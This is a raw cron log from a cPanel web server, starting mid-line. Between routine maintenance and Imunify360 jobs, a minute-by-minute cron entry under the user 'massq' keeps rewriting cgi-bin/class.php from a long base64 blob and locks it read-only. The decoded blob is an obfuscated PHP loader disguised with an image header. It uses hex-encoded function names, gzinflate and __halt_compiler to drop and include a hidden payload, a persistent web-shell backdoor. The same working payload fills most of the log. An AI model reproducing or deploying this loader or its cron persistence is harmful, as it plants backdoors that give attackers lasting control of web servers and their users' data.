yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:40:01 server CROND[18761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:41:01 server CROND[19597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:41:01 server CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:41:01 server CROND[19599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:42:01 server CROND[19990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:42:01 server CROND[19991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:42:01 server CROND[19992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:42:01 server CROND[19993]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:43:01 server CROND[20373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:43:01 server CROND[20372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:43:01 server CROND[20374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:44:01 server CROND[20841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:44:01 server CROND[20842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:44:01 server CROND[20843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:45:01 server CROND[21224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:45:01 server CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:45:01 server CROND[21228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:45:01 server CROND[21223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:45:01 server CROND[21229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:45:01 server CROND[21227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:45:01 server CROND[21226]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:46:01 server CROND[22049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:46:01 server CROND[22050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:46:01 server CROND[22051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:47:01 server CROND[22433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:47:01 server CROND[22432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:47:01 server CROND[22434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:48:01 server CROND[22949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:48:01 server CROND[22951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:48:01 server CROND[22952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:49:01 server CROND[23415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:49:01 server CROND[23414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:49:01 server CROND[23416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:50:01 server CROND[23832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:50:01 server CROND[23834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:50:01 server CROND[23838]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:50:01 server CROND[23839]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:50:01 server CROND[23840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:50:01 server CROND[23836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:50:01 server CROND[23841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:50:01 server CROND[23835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:50:01 server CROND[23837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:51:01 server CROND[24681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:51:01 server CROND[24682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:51:01 server CROND[24683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:52:01 server CROND[25069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:52:01 server CROND[25070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:52:01 server CROND[25071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
